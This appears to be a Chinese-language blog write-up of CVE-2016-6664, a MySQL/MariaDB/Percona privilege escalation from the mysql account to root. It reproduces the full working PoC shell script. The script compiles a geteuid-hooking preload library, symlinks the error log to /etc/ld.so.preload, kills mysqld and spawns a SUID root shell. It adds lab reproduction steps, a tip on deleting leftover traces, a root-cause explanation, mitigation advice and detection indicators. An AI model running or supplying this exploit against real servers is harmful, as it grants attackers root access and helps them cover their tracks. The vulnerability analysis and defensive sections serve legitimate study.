这个漏洞可以结合CVE-2016-6663使用提升权限到root
http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
#!/bin/bash -p #必须加上 -p 否则suid不会生效 # # MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit # mysql-chowned.sh (ver. 1.1) # # CVE-2016-6664 / CVE-2016-5617 # # Discovered and coded by: # # Dawid Golunski # dawid[at]legalhackers.com # # https://legalhackers.com # # Follow https://twitter.com/dawid_golunski for updates on this advisory. # # This PoC exploit allows attackers to (instantly) escalate their privileges # from mysql system account to root through unsafe error log handling. # 攻击者可以通过这个poc攻击不安全的error log处理过程从mysql权限提升到root权限 # The exploit requires that file-based logging has been configured (default). # 成功攻击需要受害者主机配置的是基于文件的日志(即默认配置) # To confirm that syslog logging has not been enabled instead use: # grep -r syslog /etc/mysql # which should return no results. # 保证syslog日志未被启用, 如果grep -r syslog /etc/mysql无返回结果则表示未被启用 # # This exploit can be chained with the following vulnerability: # CVE-2016-6663 / CVE-2016-5616 # which allows attackers to gain access to mysql system account (mysql shell). # 这个漏洞可以和CVE-2016-6663结合使用,6663可以使攻击者获得mysql系统用户权限 # # In case database server has been configured with syslog you may also use: # CVE-2016-6662 as an alternative to this exploit. # 如果数据库服务器已经使用了syslog,你可以使用CVE-2016-6662获取root权限 # # Usage: # ./mysql-chowned.sh path_to_error.log # # # See the full advisory for details at: # https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html # # Video PoC: # https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html # # # Disclaimer: # For testing purposes only. Do no harm. BACKDOORSH="/bin/bash" #bash shell BACKDOORPATH="/tmp/mysqlrootsh" #backdoor文件路径 PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Ctrl+C pressed" cleanexit 0 } #intro #介绍信息 echo -e "\033[94m \nMySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / CVE-2016-5617\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m" # Args # usage if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n" exit 3 fi # Priv check # 检查运行脚本的用户是否是mysql echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m" id | grep -q mysql if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n" exit 3 fi # Set target paths # error log路径 ERRORLOG="$1" if [ ! -f $ERRORLOG ]; then echo -e "\n[!] The specified MySQL error log ($ERRORLOG) doesn't exist. Try again.\n" exit 3 fi echo -e "\n[+] Target MySQL log file set to $ERRORLOG" # [ Active exploitation ] trap ctrl_c INT # Compile privesc preload library # 编译库文件 echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <dlfcn.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { //修改mysqlrootsh owner和group为root chown("$BACKDOORPATH", 0, 0); //修改mysqlrootsh权限为04777 chmod("$BACKDOORPATH", 04777); //unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" if [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell # 将/bin/bash拷贝到/tmp/mysqlrootsh cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety check # 如果已经存在/etc/ld.so.preload,为了不破坏主机原本环境,脚本自动退出 if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2 fi # Symlink the log file to /etc # 删除error.log,新建error.log符号链接,链接到/etc/ld.so.preload rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`" # Wait for MySQL to re-open the logs echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n" echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n" echo -n "Do you want to kill mysqld process `pidof mysqld` to instantly get root? :) ? [y/n] " read THE_ANSWER if [ "$THE_ANSWER" = "y" ]; then echo -e "Got it. Executing 'killall mysqld' now..." killall mysqld fi while :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; then # 将"/tmp/privesclib.so"写入/etc/ld.so.preload echo $PRIVESCLIB > /etc/ld.so.preload # 删除errorlog rm -f $ERRORLOG break; fi done # /etc/ dir should be owned by mysql user at this point # Inject the privesc.so shared library to escalate privileges # 将"/tmp/privesclib.so"写入/etc/ld.so.preload echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" chmod 755 /etc/ld.so.preload # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" # sudo是一个suid程序,会调用geteuid函数,该函数已经被/tmp/privesclib.so中的geteuid覆盖掉 # 所以sudo会调用攻击者自定义的geteuid # /tmp/privesclib.so中的geteuid会将/tmp/mysqlrootsh的权限改为04777 sudo 2>/dev/null >/dev/null # Check for the rootshell # 检查是否拿到了rootshell ls -l $BACKDOORPATH ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi # Execute the rootshell # 执行rootshell echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n" # 删除漏洞利用过程中产生的文件 $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" $BACKDOORPATH -p -i # Job done. cleanexit 0MySQL Poc:
http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
漏洞成功利用的条件:
MySQL-based数据库版本符合条件攻击者已经获得mysql系统用户权限mysql错误日志使用默认基于文件的配置,未使用syslog实验环境:
系统: Debian 4.0.4-1 kali2 x86_64MySQL版本: 5.5.47环境准备:
检查系统MySQL版本: 检查MySQL是否配置了使用syslog: kali系统上预装的MySQL的错误日志是使用syslog的,需要将这个配置去掉(需要root权限),将mysqld_safe_syslog.conf中的syslog删除后保存,如下图所示 vim /etc/mysql/conf.d/mysqld_safe_syslog.cnf 重启mysql服务
mysqld_safe --user=mysql漏洞利用:
查看error log文件的位置(默认是在mysql的数据目录下, debian上为/var/lib/mysql/hostname.err)
需要先通过CVE-2016-6663获得mysql系统用户的shell,然后指定error log文件位置并运行提权脚本
成功获得root权限:
清理痕迹: 脚本只删除了ld.so.preload和/tmp/privesclib.so,注意把/tmp/privesclib.c也删了
ps. 不知道为什么漏洞利用成功后服务器上的MySQL挂了,需要手动重启,提权前最好看一下服务器上原来是以什么配置启动的mysql(ps aux | grep mysql),若提权过程中导致mysql服务器挂掉可以以同样配置启动
要理解这个漏洞的利需要首先了解/etc/ld.so.preload这个文件的作用。
这个文件的作用和LD_PRELOAD这个环境变量的作用类似:
用以指定预先装载的一些共享库或目标文件,且无论程序是否依赖这些共享库或者文件,指定的这些文件都会被装载。但是两者的区别在于LD_PRELOAD被做了限制,对于suid的程序这种预先装载目标库的功能可能会导致权限提升,所以对于suid的程序加载动态链接库时是会忽略LD_PRELOAD的。但是/etc/ld.so.preload这个配置文件却不存在这种限制。
# 参考资料4(https://minipli.wordpress.com/2009/07/17/ld_preload-vs-etcld-so-preload/)中是这么说的: LD_PRELOAD was evil when combined with suid binaries so it will be ignored by the loader. That’s because otherwise you could abuse those binaries to raise your privileges by preloading some code that spawns a shell — e.g. by hooking __libc_start_main(). However, those restrictions do not apply for this file(/etc/ld.so.preload). The loader will bravely load the shared objects listed in /etc/ld.so.preload even for suid binaries.在此漏洞利用过程中ld.so.preload文件中的内容为攻击者自己编译的so文件: /tmp/privesclib.so
攻击者在/tmp/privesclib.so中自定义了geteuid函数,这个函数会在suid的程序(如sudo)中被调用
strace -o sudo.txt sudo攻击者设置预先加载其定义so库,会导致geteuid函数被覆盖掉,当sudo调用geteuid时实际上调用的是攻击者自定义函数,可以达到一种类似hook的效果。
/etc目录只有root可写,所以要借助mysqld_safe进程创建ld.so.preload文件(mysqld_safe进程是以root权限运行的)
简单梳理一下漏洞利用过程,主要分为一下几步:(可以结合poc一起看会比较清晰)
准备工作: cp /bin/bash /tmp/mysqlrootsh编译攻击者自定义so删除error.log(需要mysql权限),并新建符号链接 ln -s /etc/ld.so.preload /var/log/mysql/error.log , error.log为符号链接文件,指向一个现在不存在的ld.so.preload文件(这种情况下判断error.log是否存在,结果是不存在的,并且touch error.log的结果是新建一个ld.so.preload文件)杀掉mysqld进程,mysqld_safe检测到mysqld进程死掉了,会重启它,在重启的过程中检查error.log是否存在,因为刚刚error.log被换为了符号链接,所以mysqld_safe认为其不存在,然后touch error.log,结果攻击者成功借助mysqld_safe的root权限新建了ld.so.preload文件mysqld_safe进程执行chown mysql error.log ,因为error.log是符号链接,所以ld.so.preload的owner被改为mysqlecho '/tmp/privesclib.so' > /etc/ld.so.preload (攻击者有mysql权限,并且ld.so.preload的owner为mysql)执行sudo, geteuid被调用,/tmp/mysqlrootsh权限的owner和group被改为root, 权限被改为04777执行mysqlrootsh拿到root权限漏洞原因用一句话总结就是:
root权限进程对文件进行敏感操作(touch/chown),被操作文件可被攻击者(非root用户)访问并换为攻击者可控文件(符号链接),攻击者精心构造文件获得root权限
该漏洞的利用建立在CVE-2016-6663的基础之上,所以建议修补6663漏洞防止攻击者进一步对服务器造成危害。
短期内可使用syslog代替默认的error log,等待官方补丁
攻击检测:
检查mysql版本是否在存在漏洞的版本范围内查看mysql是否开启syslog检测是否存在/etc/ld.so.preload,/tmp/privesclib.so,/tmp/privesclib.c, /tmp/mysqlrootsh等文件漏洞原文
http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
MySQL错误日志
http://blog.csdn.net/leshami/article/details/39759849
Linux平台LD_PRELOAD及其机制的一种技术
http://www.tuicool.com/articles/aqERfi
LD_PRELOAD vs. /etc/ld.so.preload
https://minipli.wordpress.com/2009/07/17/ld_preload-vs-etcld-so-preload/
UNIX下的LD_PRELOAD变量
http://blog.chinaunix.net/uid-13344516-id-79188.html